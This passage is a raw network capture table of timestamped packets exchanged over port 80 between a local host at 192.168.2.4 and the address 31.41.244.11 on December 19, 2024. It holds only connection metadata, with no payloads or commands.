Dec 19, 2024 06:09:50.570036888 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.570060968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.570110083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.571836948 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.571918011 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.571950912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.572005033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.573719025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.573770046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.573848963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.573911905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.575623989 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.575714111 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.575736046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.575797081 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.577486992 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.577573061 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.577610970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.577706099 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.579381943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.579451084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.579489946 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.579560041 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.581362963 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.581440926 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.581480026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.581542015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.583133936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.583230019 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.583250046 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.583286047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.585040092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.585114956 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.585161924 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.585263968 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.586940050 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.587049007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.587090969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.587090969 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.588798046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.588855028 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.588896990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.588944912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.590688944 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.590755939 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.590789080 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.590833902 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.592592955 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.592694998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.592730999 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.592798948 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.594474077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.594611883 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.594631910 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.594662905 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.596340895 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.596398115 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.596445084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.596493006 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.598232985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.598287106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.598357916 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.598440886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.600115061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.600222111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.600404024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.600404024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.602030039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.602112055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.602147102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.602204084 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.603892088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.603946924 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.604018927 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.604062080 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.605770111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.605870962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.605891943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.605951071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.607685089 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.607755899 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.607770920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.607834101 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.609580994 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.609658003 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.609688997 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.609769106 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.611450911 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.611546993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.611562967 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.611614943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.613316059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.613435984 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.613445997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.613539934 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.615192890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.615289927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.615298986 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.615360022 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.617105007 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.617204905 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.617225885 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.617264032 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.618992090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.619098902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.619106054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.619174957 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.620855093 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.620919943 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.620994091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.621114016 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.622785091 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.622925997 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.623193979 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.623279095 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.624635935 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.624703884 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.624748945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.624854088 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.626507044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.626620054 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.626638889 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.626702070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.628401041 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.628557920 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.628580093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.628597021 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.630280018 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.630374908 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.630393982 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.630459070 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.632186890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.632251024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.632277012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.632386923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.634047985 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.634126902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.634284973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.634284973 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.731249094 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.731338024 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.732481003 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.732566118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.733860970 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.733899117 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.733936071 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.733951092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.733951092 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.733972073 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.733987093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.734025002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.734956980 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.735095978 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.735251904 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.735304117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.736701965 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.736741066 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.736810923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.736810923 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.738214016 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.738250017 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.739654064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.739708900 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.739809990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.740595102 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.741288900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.741324902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.741616011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.741652012 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.741677999 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.742080927 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.742912054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.743056059 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.744446039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.744577885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.744610071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.745870113 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.745991945 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.746259928 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.747347116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.747474909 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.747539043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.748744011 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.748886108 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.748967886 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.750190020 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.750328064 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.750368118 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.751625061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.751734972 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.751847029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.753024101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.753107071 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.753153086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.753204107 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.754429102 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.754497051 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.754590988 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.754970074 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.755870104 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.755903959 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.757216930 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.757297993 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.757373095 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.758564949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.758635044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.758668900 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.759921074 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.760034084 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.760215998 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.760874033 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.761270046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.761393070 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.761430979 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.762634993 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.762733936 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.762778044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.762778044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.764374971 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.764637947 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.764763117 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.765364885 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.765479088 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.766700029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.766818047 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.766855955 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.768075943 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.768186092 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.768316031 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.769427061 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.769556046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.769650936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.770777941 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.770840883 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.770903111 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.772161961 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.772257090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.772319078 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.773514032 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.773646116 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.774923086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.774986029 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.775134087 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.775336027 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.776248932 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.776339054 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.777587891 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.777638912 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.777719975 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.778989077 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.779064894 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.779112101 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.780328035 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.780421019 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.780436039 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.781672001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.781774044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.781904936 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.783035040 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.783133030 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.783154964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.784403086 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.784503937 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.784559965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.785742044 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.785867929 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.785953045 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.785980940 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.787110090 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.787251949 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.787255049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.787318945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.788507938 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.788578987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.788621902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.788685083 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.789839029 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.789923906 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.789964914 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.790034056 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.791201115 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.791305065 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.791342974 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.791584015 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.792562962 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.792659044 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.792721987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.792772055 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.793922901 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.794019938 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.794038057 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.794188023 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.795331001 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.795443058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.796554089 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.796637058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.796755075 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.796771049 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.796813965 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.798024893 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.798099995 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.798557043 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.799546957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.799582005 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.799622059 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.799638987 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.800828934 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.800932884 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.800936937 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.801166058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.802083969 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.802160978 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.802210093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.802210093 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.803464890 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.803554058 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.922286987 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.922395945 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.922435045 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.922971964 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.923006058 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.923068047 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.924029112 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.924063921 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.924992085 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.925082922 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.925132990 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.926254034 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.926312923 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.926336050 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.926644087 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.927357912 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.927407026 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.928056002 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.928405046 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.928438902 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.929102898 CET	49860	80	192.168.2.4	31.41.244.11
Dec 19, 2024 06:09:50.929497957 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.929548025 CET	80	49860	31.41.244.11	192.168.2.4
Dec 19, 2024 06:09:50.929660082 CET	49860	80	192.168.2.4	31.41.244.11
